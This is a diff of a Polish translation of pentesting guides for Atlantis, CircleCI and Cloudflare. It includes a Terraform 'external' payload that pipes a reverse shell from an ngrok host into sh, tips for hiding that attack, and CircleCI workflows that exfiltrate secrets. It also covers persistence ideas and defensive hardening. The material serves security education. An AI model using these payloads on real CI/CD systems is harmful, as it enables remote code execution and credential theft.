> Atlantis będzie **wystawiał webhooki**, aby serwer git mógł wysyłać mu informacje. Z perspektywy atakującego interesujące byłoby wiedzieć, **czy możesz wysyłać mu wiadomości**.
-#### Provider Credentials
+#### Poświadczenia dostawcy
[Z dokumentacji:](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis uruchamia Terraform, po prostu **wykonując polecenia `terraform plan` i `apply`** na serwerze, na którym **Atlantis jest hostowany**. Tak jak w przypadku uruchamiania Terraform lokalnie, Atlantis potrzebuje poświadczeń dla Twojego konkretnego dostawcy.
+Atlantis uruchamia Terraform, po prostu **wykonując polecenia `terraform plan` i `apply`** na serwerze, na którym **Atlantis jest hostowany**. Tak jak gdy uruchamiasz Terraform lokalnie, Atlantis potrzebuje poświadczeń dla twojego konkretnego dostawcy.
-To od Ciebie zależy, jak [przekazujesz poświadczenia](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) dla swojego konkretnego dostawcy do Atlantis:
+To od ciebie zależy, jak [przekazujesz poświadczenia](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) dla swojego konkretnego dostawcy do Atlantis:
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) i [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) mają swoje własne mechanizmy dla poświadczeń dostawcy. Przeczytaj ich dokumentację.
-- Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom na nich działającym, np.:
+- Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom, które na nich działają, np.:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Szukaj "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Wiele użytkowników ustawia zmienne środowiskowe, np. `AWS_ACCESS_KEY`, gdzie działa Atlantis.
- Inni tworzą niezbędne pliki konfiguracyjne, np. `~/.aws/credentials`, gdzie działa Atlantis.
-- Użyj [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) do uzyskania poświadczeń dostawcy.
+- Użyj [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs), aby uzyskać poświadczenia dostawcy.
> [!WARNING]
-> **Kontener**, w którym **Atlantis** jest **uruchamiany**, prawdopodobnie **zawiera poświadczenia z uprawnieniami** do dostawców (AWS, GCP, Github...), którymi zarządza Atlantis za pomocą Terraform.
+> **Kontener**, w którym **Atlantis** jest **uruchamiany**, prawdopodobnie **zawiera poświadczenia z uprawnieniami** do dostawców (AWS, GCP, Github...), którymi Atlantis zarządza za pomocą Terraform.
-#### Web Page
+#### Strona internetowa
Domyślnie Atlantis uruchomi **stronę internetową na porcie 4141 w localhost**. Ta strona pozwala tylko na włączenie/wyłączenie atlantis apply oraz sprawdzenie statusu planu repozytoriów i ich odblokowanie (nie pozwala na modyfikację rzeczy, więc nie jest zbyt użyteczna).
-Prawdopodobnie nie znajdziesz jej wystawionej w Internecie, ale wygląda na to, że domyślnie **nie są wymagane żadne poświadczenia** do jej uzyskania (a jeśli są, to `atlantis`:`atlantis` są **domyślnymi**).
+Prawdopodobnie nie znajdziesz jej wystawionej do internetu, ale wygląda na to, że domyślnie **nie są wymagane żadne poświadczenia** do jej uzyskania (a jeśli są, to `atlantis`:`atlantis` są **domyślnymi**).
-### Server Configuration
+### Konfiguracja serwera
Konfiguracja dla `atlantis server` może być określona za pomocą flag wiersza poleceń, zmiennych środowiskowych, pliku konfiguracyjnego lub mieszanki tych trzech.
-- Możesz znaleźć [**tutaj listę flag**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) wspieranych przez serwer Atlantis.
-- Możesz znaleźć [**tutaj jak przekształcić opcję konfiguracyjną w zmienną środowiskową**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
+- Możesz znaleźć [**tutaj listę flag**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) obsługiwanych przez serwer Atlantis.
+- Możesz znaleźć [**tutaj, jak przekształcić opcję konfiguracyjną w zmienną środowiskową**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
Wartości są **wybierane w tej kolejności**:
@@ -78,30 +78,30 @@ Wartości są **wybierane w tej kolejności**:
> [!WARNING]
> Zauważ, że w konfiguracji możesz znaleźć interesujące wartości, takie jak **tokeny i hasła**.
-#### Repos Configuration
+#### Konfiguracja repozytoriów
Niektóre konfiguracje wpływają na **to, jak zarządzane są repozytoria**. Jednak możliwe jest, że **każde repozytorium wymaga różnych ustawień**, więc istnieją sposoby na określenie każdego repozytorium. Oto kolejność priorytetów:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) plik. Ten plik może być użyty do określenia, jak atlantis powinien traktować repozytorium. Jednak domyślnie niektóre klucze nie mogą być tutaj określone bez flag pozwalających na to.
-2. Prawdopodobnie wymagane, aby były dozwolone przez flagi takie jak `allowed_overrides` lub `allow_custom_workflows`.
-3. [**Konfiguracja po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Możesz przekazać ją z flagą `--repo-config` i jest to yaml konfiguracyjny nowych ustawień dla każdego repozytorium (wsparcie dla regexów).
+2. Prawdopodobnie wymagane do zezwolenia przez flagi, takie jak `allowed_overrides` lub `allow_custom_workflows`.
+3. [**Konfiguracja po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Możesz przekazać to za pomocą flagi `--repo-config`, a jest to yaml konfiguracyjny nowych ustawień dla każdego repozytorium (wsparcie dla regexów).
4. **Domyślne** wartości.
-**PR Protections**
+**Ochrona PR**
Atlantis pozwala wskazać, czy chcesz, aby **PR** był **`zatwierdzony`** przez kogoś innego (nawet jeśli nie jest to ustawione w ochronie gałęzi) i/lub był **`możliwy do scalania`** (ochrony gałęzi spełnione) **przed uruchomieniem apply**. Z punktu widzenia bezpieczeństwa, zaleca się ustawienie obu opcji.
W przypadku, gdy `allowed_overrides` jest True, te ustawienia mogą być **nadpisywane w każdym projekcie przez plik `/atlantis.yml`**.
-**Scripts**
+**Skrypty**
-Konfiguracja repozytorium może **określać skrypty** do uruchomienia [**przed**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) i [**po**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) wykonaniu **workflow**.
+Konfiguracja repozytoriów może **określać skrypty** do uruchomienia [**przed**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) i [**po**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) wykonaniu **workflow**.
Nie ma żadnej opcji, aby **określić** te skrypty w **repo `/atlantis.yml`**.
**Workflow**
-W konfiguracji repozytorium (konfiguracja po stronie serwera) możesz [**określić nowy domyślny workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), lub [**utworzyć nowe niestandardowe workflow**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Możesz również **określić**, które **repozytoria** mogą **uzyskać dostęp** do **nowych** generowanych.\
+W konfiguracji repozytoriów (konfiguracja po stronie serwera) możesz [**określić nowy domyślny workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) lub [**utworzyć nowe niestandardowe workflow**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Możesz również **określić**, które **repozytoria** mogą **uzyskać dostęp** do **nowych** generowanych.\
Następnie możesz pozwolić plikowi **atlantis.yaml** każdego repozytorium na **określenie workflow do użycia**.
> [!CAUTION]
@@ -124,9 +124,9 @@ Następnie możesz pozwolić plikowi **atlantis.yaml** każdego repozytorium na
> steps: - run: my custom apply command
> ```
-**Conftest Policy Checking**
+**Sprawdzanie polityki Conftest**
-Atlantis wspiera uruchamianie **polityk conftest** [**po stronie serwera**](https://www.conftest.dev/) przeciwko wyjściu planu. Typowe przypadki użycia dla tego kroku obejmują:
+Atlantis obsługuje uruchamianie **polityk conftest** [**po stronie serwera**](https://www.conftest.dev/) przeciwko wyjściu planu. Typowe przypadki użycia dla tego kroku obejmują:
- Odrzucenie użycia listy modułów.
- Asercje atrybutów zasobu w czasie tworzenia.
@@ -135,7 +135,7 @@ Atlantis wspiera uruchamianie **polityk conftest** [**po stronie serwera**](http
Możesz sprawdzić, jak to skonfigurować w [**dokumentacji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
-### Atlantis Commands
+### Komendy Atlantis
[**W dokumentacji**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) znajdziesz opcje, które możesz użyć do uruchomienia Atlantis:
```bash
@@ -172,15 +172,15 @@ atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Modyfikacja konfiguracji w nowym PR
-Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł utworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis plan`** (lub może jest to wykonywane automatycznie) **będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
+Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis plan`** (lub może jest to wykonywane automatycznie) **będziesz mógł RCE wewnątrz serwera Atlantis**.
-Możesz to zrobić, sprawiając, że [**Atlantis załaduje zewnętrzne źródło danych**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Po prostu umieść ładunek, taki jak poniższy, w pliku `main.tf`:
+Możesz to zrobić, sprawiając, że [**Atlantis załaduje zewnętrzne źródło danych**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Po prostu umieść ładunek, taki jak poniżej, w pliku `main.tf`:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
-**Cichszy Atak**
+**Cichszy atak**
Możesz przeprowadzić ten atak nawet w **cichszy sposób**, stosując się do tych sugestii:
@@ -192,7 +192,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
```
Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś takiego jak: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Zamiast** tworzyć **PR do master**, aby uruchomić Atlantis, **stwórz 2 gałęzie** (test1 i test2) i stwórz **PR z jednej do drugiej**. Gdy zakończysz atak, po prostu **usuń PR i gałęzie**.
#### Atlantis plan Secrets Dump
@@ -205,7 +205,7 @@ value = nonsensitive(var.do_token)
```
#### Atlantis apply RCE - Modyfikacja konfiguracji w nowym PR
-Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis apply`, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
+Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł utworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis apply`, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**.
Jednak zazwyczaj będziesz musiał obejść pewne zabezpieczenia:
@@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
-Co możesz przekazać, to zmienne env, które mogą być pomocne w obejściu niektórych zabezpieczeń. Sprawdź zmienne env terraform w [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+Co możesz przekazać, to zmienne środowiskowe, które mogą być pomocne w obejściu niektórych zabezpieczeń. Sprawdź zmienne środowiskowe terraform w [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### Niestandardowy Workflow
@@ -251,9 +251,9 @@ Uruchamianie **złośliwych niestandardowych poleceń budowania** określonych w
Ta możliwość została wspomniana w poprzedniej sekcji:
> [!CAUTION]
-> Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określone** w **`atlantis.yaml`** każdego repo. Potencjalnie potrzebne jest również, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który ma być użyty.
+> Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określone** w **`atlantis.yaml`** każdego repo. Potencjalnie potrzebne jest również, aby **`allowed_overrides`** określało także **`workflow`**, aby **nadpisać workflow**, który ma być użyty.
>
-> To zasadniczo da **RCE na serwerze Atlantis dla każdego użytkownika, który ma dostęp do tego repo**.
+> To zasadniczo da **RCE na serwerze Atlantis każdemu użytkownikowi, który ma dostęp do tego repo**.
>
> ```yaml
> # atlantis.yaml
@@ -284,7 +284,7 @@ apply_requirements: []
Jeśli ktoś wyśle **`atlantis plan/apply` komentarze do twoich ważnych pull requestów,** spowoduje to uruchomienie terraform, gdy nie chcesz.
-Co więcej, jeśli nie masz skonfigurowanej **ochrony gałęzi** do ponownej **oceny** każdego PR, gdy **nowe zatwierdzenie jest do niego dodawane**, ktoś mógłby **napisać złośliwe konfiguracje** (sprawdź wcześniejsze scenariusze) w konfiguracji terraform, uruchomić `atlantis plan/apply` i uzyskać RCE.
+Co więcej, jeśli nie masz skonfigurowanej **ochrony gałęzi** do ponownej **oceny** każdego PR, gdy **nowe zatwierdzenie jest do niego przesyłane**, ktoś mógłby **napisać złośliwe konfiguracje** (sprawdź wcześniejsze scenariusze) w konfiguracji terraform, uruchomić `atlantis plan/apply` i uzyskać RCE.
To jest **ustawienie** w ochronach gałęzi Github:
@@ -292,7 +292,7 @@ To jest **ustawienie** w ochronach gałęzi Github:
#### Webhook Secret
-Jeśli uda ci się **ukraść sekret webhooka** używanego lub jeśli **nie ma żadnego sekretu webhooka** używanego, możesz **wywołać webhook Atlantis** i **wywołać komendy atlantis** bezpośrednio.
+Jeśli uda ci się **ukraść sekret webhooka** lub jeśli **nie ma żadnego sekretu webhooka** używanego, możesz **wywołać webhook Atlantis** i **wywołać komendy atlatis** bezpośrednio.
#### Bitbucket
@@ -321,7 +321,7 @@ Ponieważ każdy może komentować publiczne pull requesty, nawet przy wszystkic
#### Don't Use `--allow-fork-prs`
-Jeśli działasz na publicznym repozytorium (co nie jest zalecane, patrz powyżej), nie powinieneś ustawiać `--allow-fork-prs` (domyślnie false), ponieważ każdy może otworzyć pull request z ich forka do twojego repozytorium.
+Jeśli działasz na publicznym repozytorium (co nie jest zalecane, patrz powyżej), nie powinieneś ustawiać `--allow-fork-prs` (domyślnie false), ponieważ każdy może otworzyć pull request z własnego forka do twojego repozytorium.
#### `--repo-allowlist`
@@ -336,17 +336,17 @@ Ta flaga zapewnia, że twoja instalacja Atlantis nie jest używana z repozytoria
#### Protect Terraform Planning
-Jeśli atakujący składają pull requesty z złośliwym kodem Terraform w twoim modelu zagrożeń, musisz być świadomy, że zatwierdzenia `terraform apply` nie są wystarczające. Możliwe jest uruchomienie złośliwego kodu w `terraform plan` za pomocą [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) lub przez określenie złośliwego dostawcy. Ten kod mógłby następnie wykradać twoje dane uwierzytelniające.
+Jeśli atakujący przesyłają pull requesty z złośliwym kodem Terraform w twoim modelu zagrożeń, musisz być świadomy, że zatwierdzenia `terraform apply` nie są wystarczające. Możliwe jest uruchomienie złośliwego kodu w `terraform plan` za pomocą [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) lub przez określenie złośliwego dostawcy. Ten kod mógłby następnie wykradać twoje dane uwierzytelniające.
Aby temu zapobiec, możesz:
-1. Wbudować dostawców w obraz Atlantis lub hostować i odmówić egress w produkcji.
-2. Wdrożyć protokół rejestru dostawców wewnętrznie i odmówić publicznego egress, w ten sposób kontrolujesz, kto ma dostęp do zapisu w rejestrze.
-3. Zmodyfikować krok `plan` w swojej [konfiguracji repozytoriów po stronie serwera](https://www.runatlantis.io/docs/server-side-repo-config.html), aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację `plan`. Conftest może być tutaj przydatny.
+1. Wbudować dostawców w obraz Atlantis lub hostować i zablokować egress w produkcji.
+2. Wdrożyć wewnętrznie protokół rejestru dostawców i zablokować publiczny egress, w ten sposób kontrolujesz, kto ma dostęp do zapisu w rejestrze.
+3. Zmodyfikować swój [konfigurację repozytoriów po stronie serwera](https://www.runatlantis.io/docs/server-side-repo-config.html)'s krok `plan`, aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację `plan`. Conftest może być przydatny w tej sytuacji.
#### Webhook Secrets
-Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Nawet z ustawioną flagą `--repo-allowlist`, bez sekretu webhooka, atakujący mogliby wysyłać żądania do Atlantis, podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od twojego dostawcy VCS (GitHub lub GitLab).
+Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Nawet z ustawioną flagą `--repo-allowlist`, bez sekretu webhooka, atakujący mogą wysyłać żądania do Atlantis, podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od twojego dostawcy VCS (GitHub lub GitLab).
Jeśli używasz Azure DevOps, zamiast sekretów webhooka dodaj podstawowy login i hasło.
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index bb794c2b9..e7ffbeb32 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -8,7 +8,7 @@
### Uprawnienia
-**CircleCI** **dziedziczy uprawnienia** z github i bitbucket związane z **kontem**, które się loguje.\
+**CircleCI** **dziedziczy uprawnienia** z github i bitbucket związane z **konto**, które się loguje.\
W moich testach sprawdziłem, że tak długo, jak masz **uprawnienia do zapisu w repozytorium na githubie**, będziesz mógł **zarządzać ustawieniami projektu w CircleCI** (ustawiać nowe klucze ssh, uzyskiwać klucze api projektu, tworzyć nowe gałęzie z nowymi konfiguracjami CircleCI...).
Jednak musisz być **administratorem repozytorium**, aby **przekształcić repozytorium w projekt CircleCI**.
@@ -48,7 +48,7 @@ docker:
environment:
SECRET: A secret
```
-Możesz je zadeklarować w czystym tekście wewnątrz **środowiska kontenera**:
+Możesz zadeklarować je w czystym tekście wewnątrz **środowiska kontenera**:
```yaml
jobs:
build-job:
@@ -64,7 +64,7 @@ Możesz je zobaczyć **zadeklarowane w** _https://app.circleci.com/settings/proj
.png>)
-> [!OSTRZEŻENIE]
+> [!CAUTION]
> Funkcjonalność "**Import Variables**" pozwala na **importowanie zmiennych z innych projektów** do tego.
#### Sekrety kontekstu
@@ -73,9 +73,9 @@ To są sekrety, które są **ogólnodostępne w organizacji**. Domyślnie **każ
.png>)
-> [!WSKAZÓWKA]
-> Należy jednak zauważyć, że można **wybrać inną grupę** (zamiast wszystkich członków), aby **przyznać dostęp do sekretów tylko wybranym osobom**.\
-> To jest obecnie jeden z najlepszych sposobów na **zwiększenie bezpieczeństwa sekretów**, aby nie pozwalać wszystkim na ich dostęp, ale tylko niektórym osobom.
+> [!TIP]
+> Należy jednak zauważyć, że można **wybrać inną grupę** (zamiast Wszystkich członków), aby **przyznać dostęp do sekretów tylko wybranym osobom**.\
+> To jest obecnie jeden z najlepszych sposobów na **zwiększenie bezpieczeństwa sekretów**, aby nie pozwolić wszystkim na ich dostęp, ale tylko niektórym osobom.
### Ataki
@@ -83,19 +83,19 @@ To są sekrety, które są **ogólnodostępne w organizacji**. Domyślnie **każ
Jeśli masz **dostęp do VCS** (takiego jak github), sprawdź plik `.circleci/config.yml` w **każdym repo na każdej gałęzi** i **wyszukaj** potencjalne **sekrety w czystym tekście** przechowywane tam.
-#### Wyliczanie zmiennych środowiskowych sekretów i kontekstu
+#### Zmienne środowiskowe sekretów i enumeracja kontekstu
Sprawdzając kod, możesz znaleźć **wszystkie nazwy sekretów**, które są **używane** w każdym pliku `.circleci/config.yml`. Możesz również uzyskać **nazwy kontekstów** z tych plików lub sprawdzić je w konsoli internetowej: _https://app.circleci.com/settings/organization/github/\/contexts_.
#### Ekstrakcja sekretów projektu
-> [!OSTRZEŻENIE]
+> [!WARNING]
> Aby **ekstrahować WSZYSTKIE** sekrety projektu i kontekstu, **wystarczy** mieć **dostęp DO ZAPISU** do **tylko 1 repo** w całej organizacji github (_a twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu_).
-> [!OSTRZEŻENIE]
+> [!CAUTION]
> Funkcjonalność "**Import Variables**" pozwala na **importowanie zmiennych z innych projektów** do tego. Dlatego atakujący mógłby **zaimportować wszystkie zmienne projektu ze wszystkich repo** i następnie **ekstrahować je wszystkie razem**.
-Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby ekstrahować sekrety w **konsoli logów internetowych workflow**:
+Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby wyekstrahować sekrety w **konsoli logów internetowych workflow**:
```yaml
version: 2.1
@@ -114,7 +114,7 @@ exfil-env-workflow:
jobs:
- exfil-env
```
-Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **utworzyć workflow**, który jest **wyzwalany co minutę** i **wykrada sekrety do zewnętrznego adresu**:
+Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **utworzyć workflow**, który jest **wyzwalany co minutę** i który **wykrada sekrety do zewnętrznego adresu**:
```yaml
version: 2.1
@@ -163,7 +163,7 @@ jobs:
- exfil-env:
context: Test-Context
```
-Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **zmodyfikować workflow**, który jest **wyzwalany co minutę** i który **wyprowadza sekrety do zewnętrznego adresu**:
+Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **zmodyfikować workflow**, który jest **wyzwalany co minutę** i który **wyprowadza sekrety na zewnętrzny adres**:
```yaml
version: 2.1
@@ -192,12 +192,12 @@ jobs:
context: Test-Context
```
> [!WARNING]
-> Po prostu stworzenie nowego `.circleci/config.yml` w repozytorium **nie wystarczy, aby uruchomić budowę w circleci**. Musisz **włączyć to jako projekt w konsoli circleci**.
+> Samo utworzenie nowego `.circleci/config.yml` w repozytorium **nie wystarczy, aby uruchomić budowę w circleci**. Musisz **włączyć to jako projekt w konsoli circleci**.
#### Ucieczka do Chmury
-**CircleCI** daje ci możliwość uruchamiania **twoich budów na ich maszynach lub na własnych**.\
-Domyślnie ich maszyny znajdują się w GCP, i początkowo nie będziesz w stanie znaleźć nic istotnego. Jednak, jeśli ofiara uruchamia zadania na **swoich własnych maszynach (potencjalnie w środowisku chmurowym)**, możesz znaleźć **punkt końcowy metadanych chmury z interesującymi informacjami**.
+**CircleCI** daje Ci możliwość uruchamiania **swoich budów na ich maszynach lub na własnych**.\
+Domyślnie ich maszyny znajdują się w GCP, a początkowo nie będziesz w stanie znaleźć niczego istotnego. Jednak jeśli ofiara uruchamia zadania na **swoich własnych maszynach (potencjalnie w środowisku chmurowym)**, możesz znaleźć **punkt końcowy metadanych chmury z interesującymi informacjami**.
Zauważ, że w poprzednich przykładach wszystko uruchamiano wewnątrz kontenera docker, ale możesz również **poprosić o uruchomienie maszyny wirtualnej** (która może mieć różne uprawnienia chmurowe):
```yaml
@@ -208,7 +208,7 @@ exfil-env:
machine:
image: ubuntu-2004:current
```
-Lub nawet kontener docker z dostępem do zdalnej usługi docker:
+Lub nawet kontener dockerowy z dostępem do zdalnej usługi docker:
```yaml
jobs:
exfil-env:
@@ -219,7 +219,7 @@ steps:
- setup_remote_docker:
version: 19.03.13
```
-#### Persistence
+#### Utrzymywanie
- Możliwe jest **tworzenie** **tokenów użytkowników w CircleCI** do uzyskania dostępu do punktów końcowych API z dostępem użytkowników.
- _https://app.circleci.com/settings/user/tokens_
@@ -227,9 +227,9 @@ version: 19.03.13
- _https://app.circleci.com/settings/project/github/\/\/api_
- Możliwe jest **dodawanie kluczy SSH** do projektów.
- _https://app.circleci.com/settings/project/github/\/\/ssh_
-- Możliwe jest **tworzenie zadania cron w ukrytej gałęzi** w niespodziewanym projekcie, który **przecieka** wszystkie **zmienne środowiskowe kontekstu** codziennie.
-- Lub nawet stworzenie w gałęzi / modyfikacja znanego zadania, które będzie **przeciekać** wszystkie sekrety **projektów** codziennie.
-- Jeśli jesteś właścicielem githuba, możesz **zezwolić na niezaufane orbsy** i skonfigurować jeden w zadaniu jako **tylną furtkę**.
+- Możliwe jest **tworzenie zadania cron w ukrytej gałęzi** w nieoczekiwanym projekcie, które **wycieka** wszystkie **zmienne środowiskowe kontekstu** codziennie.
+- Lub nawet stworzenie w gałęzi / modyfikacja znanego zadania, które będzie **wyciekać** wszystkie konteksty i **sekrety projektów** codziennie.
+- Jeśli jesteś właścicielem githuba, możesz **zezwolić na niezweryfikowane orbsy** i skonfigurować jeden w zadaniu jako **tylną furtkę**.
- Możesz znaleźć **lukę w wstrzykiwaniu poleceń** w niektórych zadaniach i **wstrzyknąć polecenia** za pomocą **sekretu**, modyfikując jego wartość.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index e1c023e95..14b596cda 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -16,7 +16,7 @@ cloudflare-domains.md
### Domain Registration
-- [ ] W **`Transfer Domains`** sprawdź, czy nie ma możliwości przeniesienia żadnej domeny.
+- [ ] W **`Transfer Domains`** sprawdź, czy nie ma możliwości transferu żadnej domeny.
Przejrzyj każde z:
@@ -26,7 +26,7 @@ cloudflare-domains.md
## Analytics
-_Nie mogłem znaleźć nic do sprawdzenia w celu przeglądu bezpieczeństwa konfiguracji._
+_Nie mogłem znaleźć nic do sprawdzenia w przeglądzie bezpieczeństwa konfiguracji._
## Pages
@@ -34,11 +34,11 @@ Na każdej stronie Cloudflare:
- [ ] Sprawdź **wrażliwe informacje** w **`Build log`**.
- [ ] Sprawdź **wrażliwe informacje** w **repozytorium Github** przypisanym do stron.
-- [ ] Sprawdź potencjalne naruszenie repozytorium github za pomocą **workflow command injection** lub kompromitacji `pull_request_target`. Więcej informacji na [**stronie bezpieczeństwa Github**](../github-security/).
+- [ ] Sprawdź potencjalne naruszenie repozytorium github za pomocą **workflow command injection** lub kompromitacji `pull_request_target`. Więcej informacji na stronie [**Github Security page**](../github-security/).
- [ ] Sprawdź **vulnerable functions** w katalogu `/fuctions` (jeśli istnieje), sprawdź **przekierowania** w pliku `_redirects` (jeśli istnieje) oraz **błędnie skonfigurowane nagłówki** w pliku `_headers` (jeśli istnieje).
- [ ] Sprawdź **vulnerabilities** w **stronie internetowej** za pomocą **blackbox** lub **whitebox**, jeśli możesz **uzyskać dostęp do kodu**.
- [ ] W szczegółach każdej strony `//pages/view/blocklist/settings/functions`. Sprawdź **wrażliwe informacje** w **`Environment variables`**.
-- [ ] W szczegółach strony sprawdź również **komendę budowy** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę.
+- [ ] W szczegółach strony sprawdź również **komendę budowania** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę.
## **Workers**
@@ -49,7 +49,7 @@ Na każdym workerze Cloudflare sprawdź:
- [ ] Sprawdź **kod workera** i poszukaj **vulnerabilities** (szczególnie w miejscach, gdzie użytkownik może zarządzać danymi wejściowymi).
- Sprawdź SSRFs zwracających wskazaną stronę, którą możesz kontrolować.
- Sprawdź XSSy wykonujące JS wewnątrz obrazu svg.
-- Możliwe, że worker wchodzi w interakcję z innymi wewnętrznymi usługami. Na przykład, worker może wchodzić w interakcję z bucketem R2 przechowującym informacje uzyskane z danych wejściowych. W takim przypadku konieczne byłoby sprawdzenie, jakie możliwości ma worker nad bucketem R2 i jak można by to wykorzystać z danych wejściowych użytkownika.
